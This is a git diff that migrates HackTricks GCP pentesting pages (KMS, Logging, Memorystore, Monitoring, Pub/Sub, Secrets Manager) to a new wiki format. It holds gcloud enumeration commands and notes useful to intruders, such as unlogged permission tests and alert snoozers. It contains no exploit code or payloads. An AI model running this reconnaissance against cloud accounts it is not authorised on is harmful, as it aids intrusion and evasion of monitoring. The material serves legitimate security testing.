-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## KMS
 
@@ -23,20 +10,20 @@ KMS key rings are by **default created as global**, which means that the keys in
 
 ### Key Protection Level
 
-* **Software keys**: Software keys are **created and managed by KMS entirely in software**. These keys are **not protected by any hardware security module (HSM)** and can be used for t**esting and development purposes**. Software keys are **not recommended for production** use because they provide low security and are susceptible to attacks.
-* **Cloud-hosted keys**: Cloud-hosted keys are **created and managed by KMS** in the cloud using a highly available and reliable infrastructure. These keys are **protected by HSMs**, but the HSMs are **not dedicated to a specific customer**. Cloud-hosted keys are suitable for most production use cases.
-* **External keys**: External keys are **created and managed outside of KMS**, and are imported into KMS for use in cryptographic operations. External keys **can be stored in a hardware security module (HSM) or a software library, depending on the customer's preference**.
+- **Software keys**: Software keys are **created and managed by KMS entirely in software**. These keys are **not protected by any hardware security module (HSM)** and can be used for t**esting and development purposes**. Software keys are **not recommended for production** use because they provide low security and are susceptible to attacks.
+- **Cloud-hosted keys**: Cloud-hosted keys are **created and managed by KMS** in the cloud using a highly available and reliable infrastructure. These keys are **protected by HSMs**, but the HSMs are **not dedicated to a specific customer**. Cloud-hosted keys are suitable for most production use cases.
+- **External keys**: External keys are **created and managed outside of KMS**, and are imported into KMS for use in cryptographic operations. External keys **can be stored in a hardware security module (HSM) or a software library, depending on the customer's preference**.
 
 ### Key Purposes
 
-* **Symmetric encryption/decryption**: Used to **encrypt and decrypt data using a single key for both operations**. Symmetric keys are fast and efficient for encrypting and decrypting large volumes of data.
-  * **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
-* **Asymmetric Signing**: Used for secure communication between two parties without sharing the key. Asymmetric keys come in a pair, consisting of a **public key and a private key**. The public key is shared with others, while the private key is kept secret.
-  * **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
-* **Asymmetric Decryption**: Used to verify the authenticity of a message or data. A digital signature is created using a private key and can be verified using the corresponding public key.
-  * **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
-* **MAC Signing**: Used to ensure **data integrity and authenticity by creating a message authentication code (MAC) using a secret key**. HMAC is commonly used for message authentication in network protocols and software applications.
-  * **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
+- **Symmetric encryption/decryption**: Used to **encrypt and decrypt data using a single key for both operations**. Symmetric keys are fast and efficient for encrypting and decrypting large volumes of data.
+  - **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
+- **Asymmetric Signing**: Used for secure communication between two parties without sharing the key. Asymmetric keys come in a pair, consisting of a **public key and a private key**. The public key is shared with others, while the private key is kept secret.
+  - **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
+- **Asymmetric Decryption**: Used to verify the authenticity of a message or data. A digital signature is created using a private key and can be verified using the corresponding public key.
+  - **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
+- **MAC Signing**: Used to ensure **data integrity and authenticity by creating a message authentication code (MAC) using a secret key**. HMAC is commonly used for message authentication in network protocols and software applications.
+  - **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
 
 ### Rotation Period & Programmed for destruction period
 
@@ -78,31 +65,18 @@ gcloud kms decrypt --ciphertext-file=[INFILE] \
 
 ### Privilege Escalation
 
-{% content-ref url="../gcp-privilege-escalation/gcp-kms-privesc.md" %}
-[gcp-kms-privesc.md](../gcp-privilege-escalation/gcp-kms-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-kms-privesc.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-kms-post-exploitation.md" %}
-[gcp-kms-post-exploitation.md](../gcp-post-exploitation/gcp-kms-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-kms-post-exploitation.md
+{{#endref}}
 
 ## References
 
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md
similarity index 58%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md
index 102c59199..efb699e73 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md
@@ -1,19 +1,6 @@
 # GCP - Logging Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -23,15 +10,15 @@ Cloud Logging is fully integrated with other GCP services, providing a centraliz
 
 Key Features:
 
-* **Log Data Centralization:** Aggregate log data from various sources, offering a holistic view of your applications and infrastructure.
-* **Real-time Log Management:** Stream logs in real time for immediate analysis and response.
-* **Powerful Data Analysis:** Use advanced filtering and search capabilities to sift through large volumes of log data quickly.
-* **Integration with BigQuery:** Export logs to BigQuery for detailed analysis and querying.
-* **Log-based Metrics:** Create custom metrics from your log data for monitoring and alerting.
+- **Log Data Centralization:** Aggregate log data from various sources, offering a holistic view of your applications and infrastructure.
+- **Real-time Log Management:** Stream logs in real time for immediate analysis and response.
+- **Powerful Data Analysis:** Use advanced filtering and search capabilities to sift through large volumes of log data quickly.
+- **Integration with BigQuery:** Export logs to BigQuery for detailed analysis and querying.
+- **Log-based Metrics:** Create custom metrics from your log data for monitoring and alerting.
 
 ### Logs flow
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://betterstack.com/community/guides/logging/gcp-logging/">https://betterstack.com/community/guides/logging/gcp-logging/</a></p></figcaption></figure>
+<figure><img src="../../../images/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://betterstack.com/community/guides/logging/gcp-logging/">https://betterstack.com/community/guides/logging/gcp-logging/</a></p></figcaption></figure>
 
 Basically the sinks and log based metrics will device where a log should be stored.
 
@@ -40,48 +27,42 @@ Basically the sinks and log based metrics will device where a log should be stor
 Cloud Logging is highly configurable to suit diverse operational needs:
 
 1. **Log Buckets (Logs storage in the web):** Define buckets in Cloud Logging to manage **log retention**, providing control over how long your log entries are retained.
-   * By default the buckets `_Default` and `_Required` are created (one is logging what the other isn’t).
-     * **\_Required** is:
+   - By default the buckets `_Default` and `_Required` are created (one is logging what the other isn’t).
+     - **\_Required** is:
 
-{% code overflow="wrap" %}
 ````
      ```bash
      LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
      ```
-     
-````
-{% endcode %}
 
-* **Retention period** of the data is configured per bucket and must be **at least 1 day.** However the **retention period of \_Required is 400 days** and cannot be modified.
-* Note that Log Buckets are **not visible in Cloud Storage.**
+````
+
+- **Retention period** of the data is configured per bucket and must be **at least 1 day.** However the **retention period of \_Required is 400 days** and cannot be modified.
+- Note that Log Buckets are **not visible in Cloud Storage.**
 
 2. **Log Sinks (Log router in the web):** Create sinks to **export log entries** to various destinations such as Pub/Sub, BigQuery, or Cloud Storage based on a **filter**.
-   * By **default** sinks for the buckets `_Default` and `_Required` are created:
-   * ```bash
+   - By **default** sinks for the buckets `_Default` and `_Required` are created:
+   - ```bash
      _Required  logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required  LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
      _Default   logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default   NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
      ```
-   * **Exclusion Filters:** It's possible to set up **exclusions to prevent specific log entries** from being ingested, saving costs, and reducing unnecessary noise.
+   - **Exclusion Filters:** It's possible to set up **exclusions to prevent specific log entries** from being ingested, saving costs, and reducing unnecessary noise.
 3. **Log-based Metrics:** Configure **custom metrics** based on the content of logs, allowing for alerting and monitoring based on log data.
 4. **Log views:** Log views give advanced and **granular control over who has access** to the logs within your log buckets.
-   * Cloud Logging **automatically creates the `_AllLogs` view for every bucket**, which shows all logs. Cloud Logging also creates a view for the `_Default` bucket called `_Default`. The `_Default` view for the `_Default` bucket shows all logs except Data Access audit logs. The `_AllLogs` and `_Default` views are not editable.
+   - Cloud Logging **automatically creates the `_AllLogs` view for every bucket**, which shows all logs. Cloud Logging also creates a view for the `_Default` bucket called `_Default`. The `_Default` view for the `_Default` bucket shows all logs except Data Access audit logs. The `_AllLogs` and `_Default` views are not editable.
 
 It's possible to allow a principal **only to use a specific Log view** with an IAM policy like:
 
-{% code overflow="wrap" %}
 ```json
 {
   "bindings": [
     {
-      "members": [
-        "user:username@gmail.com"
-      ],
+      "members": ["user:username@gmail.com"],
       "role": "roles/logging.viewAccessor",
       "condition": {
-          "title": "Bucket reader condition example",
-          "description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
-          "expression":
-            "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
+        "title": "Bucket reader condition example",
+        "description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
+        "expression": "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
       }
     }
   ],
@@ -89,7 +70,6 @@ It's possible to allow a principal **only to use a specific Log view** with an I
   "version": 3
 }
 ```
-{% endcode %}
 
 ### Default Logs
 
@@ -103,11 +83,11 @@ However, note that this means that by default **`GetIamPolicy`** actions and oth
 
 To enable more logs in the console the sysadmin needs to go to [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) and enable them. There are 2 different options:
 
-* **Default Configuration**: It's possible to create a default configuration and log all the Admin Read and/or Data Read and/or Data Write logs and even add exempted principals:
+- **Default Configuration**: It's possible to create a default configuration and log all the Admin Read and/or Data Read and/or Data Write logs and even add exempted principals:
 
-<figure><img src="../../../.gitbook/assets/image (338).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (338).png" alt=""><figcaption></figcaption></figure>
 
-* **Select the services**: Or just **select the services** you would like to generate logs and the type of logs and the excepted principal for that specific service.
+- **Select the services**: Or just **select the services** you would like to generate logs and the type of logs and the excepted principal for that specific service.
 
 Also note that by default only those logs are being generated because generating more logs will increase the costs.
 
@@ -115,7 +95,6 @@ Also note that by default only those logs are being generated because generating
 
 The `gcloud` command-line tool is an integral part of the GCP ecosystem, allowing you to manage your resources and services. Here's how you can use `gcloud` to manage your logging configurations and access logs.
 
-{% code overflow="wrap" %}
 ```bash
 # List buckets
 gcloud logging buckets list
@@ -140,42 +119,28 @@ gcloud logging views describe --bucket <bucket> --location global <view-id> # vi
 gcloud logging links list --bucket _Default --location global
 gcloud logging links describe <link-id> --bucket _Default --location global
 ```
-{% endcode %}
 
-Example to check the logs of **`cloudresourcemanager`** (the one used to BF permissions): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512)
+Example to check the logs of **`cloudresourcemanager`** (the one used to BF permissions): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
 
 There aren't logs of **`testIamPermissions`**:
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Post Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-logging-post-exploitation.md" %}
-[gcp-logging-post-exploitation.md](../gcp-post-exploitation/gcp-logging-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../gcp-persistence/gcp-logging-persistence.md" %}
-[gcp-logging-persistence.md](../gcp-persistence/gcp-logging-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-persistence/gcp-logging-persistence.md
+{{#endref}}
 
 ## References
 
-* [https://cloud.google.com/logging/docs/logs-views#gcloud](https://cloud.google.com/logging/docs/logs-views#gcloud)
-* [https://betterstack.com/community/guides/logging/gcp-logging/](https://betterstack.com/community/guides/logging/gcp-logging/)
+- [https://cloud.google.com/logging/docs/logs-views#gcloud](https://cloud.google.com/logging/docs/logs-views#gcloud)
+- [https://betterstack.com/community/guides/logging/gcp-logging/](https://betterstack.com/community/guides/logging/gcp-logging/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md
new file mode 100644
index 000000000..7af0a0350
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md
@@ -0,0 +1,21 @@
+# GCP - Memorystore Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Memorystore
+
+Reduce latency with scalable, secure, and highly available in-memory service for [**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) and [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache). Learn more.
+
+```bash
+# Memcache
+gcloud memcache instances list --region <region>
+gcloud memcache instances describe <INSTANCE> --region <region>
+# You should try to connect to the memcache instances to access the data
+
+# Redis
+gcloud redis instances list --region <region>
+gcloud redis instances describe <INSTACE> --region <region>
+gcloud redis instances export gs://my-bucket/my-redis-instance.rdb my-redis-instance --region=us-central1
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md
new file mode 100644
index 000000000..88b10a074
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md
@@ -0,0 +1,57 @@
+# GCP - Monitoring Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Google Cloud Monitoring offers a suite of tools to **monitor**, troubleshoot, and improve the performance of your cloud resources. From a security perspective, Cloud Monitoring provides several features that are crucial for maintaining the security and compliance of your cloud environment:
+
+### Policies
+
+Policies **define conditions under which alerts are triggered and how notifications are sent**. They allow you to monitor specific metrics or logs, set thresholds, and determine where and how to send alerts (like email or SMS).
+
+### Dashboards
+
+Monitoring Dashboards in GCP are customizable interfaces for visualizing the **performance and status of cloud resources**. They offer real-time insights through charts and graphs, aiding in efficient system management and issue resolution.
+
+### Channels
+
+Different **channels** can be configured to **send alerts** through various methods, including **email**, **SMS**, **Slack**, and more.
+
+Moreover, when an alerting policy is created in Cloud Monitoring, it's possible to **specify one or more notification channels**.
+
+### Snoozers
+
+A snoozer will **prevent the indicated alert policies to generate alerts or send notifications** during the indicated snoozing period. Additionally, when a snooze is applied to a **metric-based alerting policy**, Monitoring proceeds to **resolve any open incidents** that are linked to that specific policy.
+
+### Enumeration
+
+```bash
+# Get policies
+gcloud alpha monitoring policies list
+gcloud alpha monitoring policies describe <policy>
+
+# Get dashboards
+gcloud monitoring dashboards list
+gcloud monitoring dashboards describe <dashboard>
+
+# Get snoozers
+gcloud monitoring snoozes list
+gcloud monitoring snoozes describe <snoozer>
+
+# Get Channels
+gcloud alpha monitoring channels list
+gcloud alpha monitoring channels describe <channel>
+```
+
+### Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-monitoring-post-exploitation.md
+{{#endref}}
+
+## References
+
+- [https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli](https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md
similarity index 58%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md
index ffa213ee1..6cd241087 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md
@@ -1,19 +1,6 @@
 # GCP - Pub/Sub Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Pub/Sub <a href="#reviewing-cloud-pubsub" id="reviewing-cloud-pubsub"></a>
 
@@ -21,10 +8,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 The **topic is the queue** where messages are going to be sent, while the **subscriptions** are the **objects** users are going to use to **access messages in the topics**. There can be more than **1 subscription per topic** and there are 4 types of subscriptions:
 
-* **Pull**: The user(s) of this subscription needs to pull for messages.
-* **Push**: An URL endpoint is indicated and messages will be sent immediately to it.
-* **Big query table**: Like push but setting the messages inside a Big query table.
-* **Cloud Storage**: Deliver messages directly to an existing bucket.
+- **Pull**: The user(s) of this subscription needs to pull for messages.
+- **Push**: An URL endpoint is indicated and messages will be sent immediately to it.
+- **Big query table**: Like push but setting the messages inside a Big query table.
+- **Cloud Storage**: Deliver messages directly to an existing bucket.
 
 By **default** a **subscription expires after 31 days**, although it can be set to never expire.
 
@@ -69,9 +56,9 @@ However, you may have better results [**asking for a larger set of data**](https
 
 ### Privilege Escalation & Post Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md" %}
-[gcp-pub-sub-post-exploitation.md](../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
 
 ## Pub/Sub Lite
 
@@ -79,8 +66,8 @@ However, you may have better results [**asking for a larger set of data**](https
 
 In PubSub Lite there **are** **topics** and **subscriptions**, there **aren't snapshots** and **schemas** and there are:
 
-* **Reservations**: Pub/Sub Lite Reservations is a feature that allows users to reserve capacity in a specific region for their message streams.
-* **Operations**: Refers to the actions and tasks involved in managing and administering Pub/Sub Lite.
+- **Reservations**: Pub/Sub Lite Reservations is a feature that allows users to reserve capacity in a specific region for their message streams.
+- **Operations**: Refers to the actions and tasks involved in managing and administering Pub/Sub Lite.
 
 ### Enumeration
 
@@ -104,17 +91,4 @@ gcloud pubsub lite-operations list
 gcloud pubsub lite-operations describe <topic>
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md
new file mode 100644
index 000000000..a0d1764dc
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md
@@ -0,0 +1,53 @@
+# GCP - Secrets Manager Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Secret Manager
+
+Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, files (max 64KB) and other sensitive data.
+
+A secret can have **different versions storing different data**.
+
+Secrets by **default** are **encrypted using a Google managed key**, but it's **possible to select a key from KMS** to use to encrypt the secret.
+
